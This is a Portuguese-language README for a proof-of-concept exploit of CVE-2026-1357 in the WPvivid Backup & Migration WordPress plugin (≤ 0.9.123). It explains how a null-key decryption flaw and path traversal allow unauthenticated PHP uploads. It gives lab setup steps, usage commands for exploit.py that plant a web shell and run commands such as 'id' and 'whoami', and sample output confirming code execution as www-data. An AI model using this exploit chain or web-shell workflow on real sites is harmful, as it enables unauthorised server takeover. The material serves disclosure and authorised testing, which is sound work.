
CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Exploit de RCE não autenticado
Upload arbitrário de arquivos sem autenticação → Execução Remota de Código
| Campo | Valor |
|---|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (Crítico) |
| Plugin | WPvivid Backup & Migration |
| Afetado | ≤ 0.9.123 |
| Corrigido | 0.9.124 |
| Descoberto por | Lucas Montes (NiRoX) |
| PoC por | halilkirazkaya |
O plugin WPvivid Backup & Migration (≤ 0.9.123) contém uma vulnerabilidade crítica que permite a um atacante não autenticado fazer upload de arquivos PHP arbitrários para o servidor, levando à Execução Remota de Código (RCE).
A cadeia de exploração combina duas falhas:
O plugin lida com transferências de backup remoto por meio do hook wpvivid_action=send_to_site. Ao descriptografar a chave de sessão, openssl_private_decrypt() retorna false para uma chave RSA malformada. O plugin não verifica esse valor de retorno e passa false para Crypt_Rijndael do phpseclib v1, que o trata como uma chave nula de 16 bytes (\x00 × 16) com modo CBC e IV nulo.
O parâmetro name no payload JSON descriptografado não é sanitizado. Um atacante pode usar sequências ../ para gravar um arquivo PHP fora do diretório de backup restrito, no diretório publicamente acessível wp-content/uploads/.
O wpvivid_api_token deve ter sido gerado nas configurações do plugin e não deve ter expirado.
Baixe e extraia o WPvivid Backup & Migration v0.9.123 (versão vulnerável):
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
Isso criará o diretório wpvivid-backuprestore/, que é montado no contêiner Docker por meio do docker-compose.yml.
docker compose up -d
http://localhost e conclua a instalação do WordPress.pip install -r requirements.txt
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Use com responsabilidade.